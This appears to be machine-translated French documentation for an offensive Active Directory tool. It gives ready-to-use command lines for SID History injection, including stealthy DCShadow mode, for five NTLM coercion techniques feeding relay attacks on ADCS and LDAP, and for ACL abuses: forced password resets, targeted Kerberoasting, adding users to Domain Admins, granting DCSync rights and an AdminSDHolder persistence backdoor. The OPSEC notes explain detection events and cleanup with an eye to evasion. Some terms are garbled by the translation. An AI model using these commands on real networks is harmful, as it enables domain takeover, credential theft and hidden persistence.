Utilisation : sid_history <target> <sid1> [sid2...] [--mode <ldap|dcshadow>] [--remove] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

Paramètre Obligatoire Description
target Oui sAMAccountName du compte dans lequel injecter l'historique SID
sid1... Oui Chaînes SID à injecter (par exemple, Enterprise Admins SID)
--mode Non ldap (direct, par défaut) ou dcshadow (plus furtif)
--remove Non Supprimer les SID au lieu d'ajouter (nettoyage)
Détails techniques : mode LDAP vs DCShadow

Le mode LDAP Direct modifie l'attribut sIDHistory via la modification LDAP standard. C'est rapide et simple mais génère des événements d'audit de modification LDAP directs (événement 5136). Nécessite les privilèges d’administrateur de domaine ou de propriétaire de compte.

Le mode DCShadow utilise le cycle de vie de DCShadow (enregistrer le DC malveillant -> pousser la modification sIDHistory -> nettoyer) afin que la modification apparaisse comme un trafic de réplication plutôt que comme une écriture LDAP directe. La modification est attribuée à l’ID d’invocation du contrôleur de domaine malveillant dans les métadonnées de réplication.

OPSEC

L’injection de SID History est une technique de persistance bien connue. Les modifications apportées à sIDHistory génèrent l'événement 4765/4766 (l'historique SID a été ajouté à un compte). Les produits de sécurité surveillent spécifiquement cet attribut. ATTAQUE À ONGLET : T1134.005


Coercition d’authentification

Les techniques de coercition d’authentification forcent une machine cible à s’authentifier auprès d’un listener contrôlé par un attaquant à l’aide de NTLM. L'authentification capturée peut être relayée vers d'autres services (LDAP, inscription HTTP ADCS, SMB) pour une élévation de privilèges. Les cinq techniques utilisent les interfaces Windows RPC pour déclencher le rappel.

printerbug

Abusez de la fonction `RpcRemoteFindFirstPrinterChangeNotification` (MS-RPRN) du service Print Spooler pour forcer l'authentification.

```
printerbug 10.10.10.1 10.10.10.50
printerbug DC01.corp.local 10.10.10.50 CORP\user P@ssword
```

**Utilisation :** `printerbug <target> <listener> [DOMAIN\user password]`

!!! info "Exigence de service"
    Nécessite que le service **Print Spooler** (`Spooler`) soit exécuté sur la cible. Activé par défaut sur la plupart des serveurs et postes de travail Windows.

petitpotam

Abuser des fonctions EFS RPC (EfsRpcOpenFileRaw, MS-EFSRPC) pour forcer l'authentification. La technique de coercition la plus couramment utilisée.

petitpotam 10.10.10.1 10.10.10.50
petitpotam DC01.corp.local 10.10.10.50 CORP\user P@ssword

Utilisation : petitpotam <target> <listener> [DOMAIN\user password]

État du correctif

Microsoft a publié des correctifs pour PetitPotam non authentifié (CVE-2021-36942), mais PetitPotam authentifié fonctionne toujours sur toutes les versions de Windows prises en charge.

dfscoerce

Abusez de l'interface DFS RPC (MS-DFSNM) pour forcer l'authentification via NetrDfsRemoveStdRoot ou NetrDfsAddStdRoot.

dfscoerce 10.10.10.1 10.10.10.50

Utilisation : dfscoerce <target> <listener> [DOMAIN\user password]

shadowcoerce

Abusez de l'interface RPC du service d'agent VSS du serveur de fichiers (MS-FSRVP) pour forcer l'authentification via IsPathSupported.

shadowcoerce 10.10.10.1 10.10.10.50

Utilisation : shadowcoerce <target> <listener> [DOMAIN\user password]

cheeseoinking

Abusez de l'interface RPC du service de journal d'événements (MS-EVEN) pour forcer l'authentification via ElfrOpenBELW.

cheeseoinking 10.10.10.1 10.10.10.50

Utilisation : cheeseoinking <target> <listener> [DOMAIN\user password]

Comparaison des techniques de coercition

Technique Interface RPC Port Service requis État du correctif
Bogue d'imprimante MS-RPRN 445 (SMB) Spouleur d'impression (Spouleur) Non corrigé (par conception)
PetitPotam MS-EFSRPC 445 (SMB) EFS (lsass.exe) Partiel (CVE-2021-36942, non-authentification uniquement)
DFSCoerce MS-DFSNM 445 (SMB) Espace de noms DFS (DFS) Non corrigé
Coerce de l'Ombre MS-FSRVP 445 (SMB) Agent VSS du serveur de fichiers Pas largement patché
** Fromage Oinking ** MS-MÊME 445 (SMB) Journal des événements (journal des événements) Non corrigé

Flux de travail de coercition commun

La coercition est rarement utilisée seule : elle est le déclencheur d'une chaîne de relais NTLM :

  1. Configurer la cible du relais : Démarrez le listener de relais ESC8 (esc8 ... --relay) ou configurez le relais LDAP (par exemple, pour l'écriture RBCD)
  2. Déclencher la coercition : petitpotam <dc> <relay_listener> -- DC s'authentifie auprès du relais
  3. Captures de relais : Authentification relayée vers le service cible (ADCS HTTP, LDAP)
  4. Exploitation terminée : Certificat délivré (ESC8) ou délégation écrite (RBCD)

OPSEC

Toutes les techniques de coercition génèrent une authentification NTLM sortante à partir de la machine cible. Les produits de sécurité qui surveillent le trafic SMB/RPC inhabituel ou l'authentification NTLM inattendue des contrôleurs de domaine peuvent détecter la coercition. L’authentification forcée par les DC est particulièrement suspecte. ATTAQUE À ONGLET : T1187


Abus de LCA

Les listes de contrôle d'accès (ACL) Active Directory définissent les autorisations sur les objets AD. Lorsque les attaquants découvrent qu'ils disposent d'autorisations d'écriture spécifiques sur des objets utilisateur, groupe ou unité organisationnelle, ils peuvent les exploiter pour élever leurs privilèges sans exploiter aucune vulnérabilité logicielle.

acl_pwreset

Forcer une réinitialisation du mot de passe via GenericAll ou User-Force-Change-Password ACL sur un utilisateur. Définit l'attribut unicodePwd via LDAP sans connaître le mot de passe actuel.

acl_pwreset targetuser NewP@ssw0rd! CORP.LOCAL 10.10.10.1

Utilisation : acl_pwreset <target_user> <new_password> [domain] [dc] [user] [pass]

OPSEC

Les réinitialisations de mot de passe génèrent l'événement de sécurité 4724 (tentative de réinitialisation du mot de passe) et l'événement 4723 (tentative de changement de mot de passe). Les tickets Kerberos de l'utilisateur cible sont invalidés et ils seront verrouillés s'ils ne peuvent pas s'authentifier avec le nouveau mot de passe. ATTAQUE À ONGLET : T1098

acl_setspn

Définissez ou modifiez un nom principal de service (SPN) sur un compte utilisateur pour un Kerberoasting ciblé. Une fois qu'un SPN est défini, le ticket de service de l'utilisateur peut être demandé par n'importe quel utilisateur du domaine et piraté hors ligne.

acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1
acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_setspn <target_user> [spn] [domain] [dc] [--remove]

Kerberoasting ciblé

Après avoir défini un SPN, utilisez kerberoast targetuser pour demander et résoudre le ticket de service. N'oubliez pas de supprimer le SPN après avoir obtenu le hachage pour restaurer l'état d'origine.

acl_addmember

Ajoutez ou supprimez un utilisateur d'un groupe via GenericAll, GenericWrite ou Self/WriteMember ACL sur l'objet groupe.

acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1
acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_addmember <group> <member> [domain] [dc] [--remove]

OPSEC

Les modifications d'appartenance au groupe génèrent l'événement de sécurité 4728 (membre ajouté au groupe de sécurité) et l'événement 4729 (membre supprimé). L'ajout d'utilisateurs à des groupes sensibles tels que les administrateurs de domaine ou les administrateurs d'entreprise déclenche des alertes immédiates dans la plupart des configurations SIEM.

acl_dcsync

Accordez les droits DCSync (DS-Replication-Get-Changes et DS-Replication-Get-Changes-All) à un utilisateur sur l'objet de domaine, lui permettant d'effectuer DCSync pour extraire tous les hachages de mot de passe.

acl_dcsync eviluser CORP.LOCAL 10.10.10.1
acl_dcsync eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_dcsync <trustee> [domain] [dc] [user] [pass] [--remove]

Risque de détection élevé

L'octroi des droits DCSync modifie la DACL du domaine, générant l'événement 5136 (modification du service d'annuaire). De plus, l'opération DCSync réelle génère l'événement 4662 (opération effectuée sur un objet) avec les GUID de réplication. Utilisez --remove pour nettoyer après exploitation.

acl_owner

Devenez propriétaire d'un objet AD via l'autorisation WriteOwner ou WriteDACL. Une fois la propriété acquise, le nouveau propriétaire peut modifier la DACL de l'objet pour s'accorder n'importe quelle autorisation.

acl_owner CN=target,CN=Users,DC=corp,DC=local eviluser CORP.LOCAL 10.10.10.1

Utilisation : acl_owner <target> [new_owner] [domain] [dc]

acl_sdhold

Abusez de SDPropagator via AdminSDHolder pour rendre les modifications ACL persistantes. Le descripteur de sécurité d'AdminSDHolder est automatiquement appliqué à tous les groupes protégés (administrateurs de domaine, administrateurs d'entreprise, etc.) toutes les 60 minutes par le processus SDProp.

acl_sdhold eviluser full CORP.LOCAL 10.10.10.1
acl_sdhold eviluser dcsync CORP.LOCAL 10.10.10.1
acl_sdhold eviluser CORP.LOCAL 10.10.10.1 --remove

Utilisation : acl_sdhold <trustee> [right:full|write|dcsync] [domain] [dc] [--remove]

Détails techniques : SDPropagator

SDPropagator (SDProp) s'exécute toutes les 60 minutes sur l'émulateur PDC. Il prend le descripteur de sécurité de l'objet AdminSDHolder et l'applique à tous les membres des groupes protégés. En ajoutant un ACE à AdminSDHolder, l'attaquant s'assure que ses autorisations sont automatiquement réappliquées même si un administrateur les supprime d'objets individuels.

Comparaison des abus d'ACL

Technique Liste de contrôle d'accès requise Effet Méthode de nettoyage
acl_pwreset GenericAll / User-Force-Change-Password Réinitialiser le mot de passe utilisateur Réinitialiser le mot de passe (si connu)
acl_setspn GenericAll / GenericWrite / Write-SPN Activer le Kerberoasting ciblé acl_setspn ... --remove
acl_addmember GénériqueTous / WriteMember / Soi Ajouter un utilisateur au groupe privilégié acl_addmember ... --remove
acl_dcsync WriteDACL sur l'objet de domaine Accorder les droits DCSync acl_dcsync ... --remove
acl_owner WriteOwner sur l'objet cible Devenez propriétaire d'un objet Restaurer le propriétaire d'origine
acl_sdhold WriteDACL sur AdminSDHolder Porte dérobée ACL persistante acl_sdhold ... --remove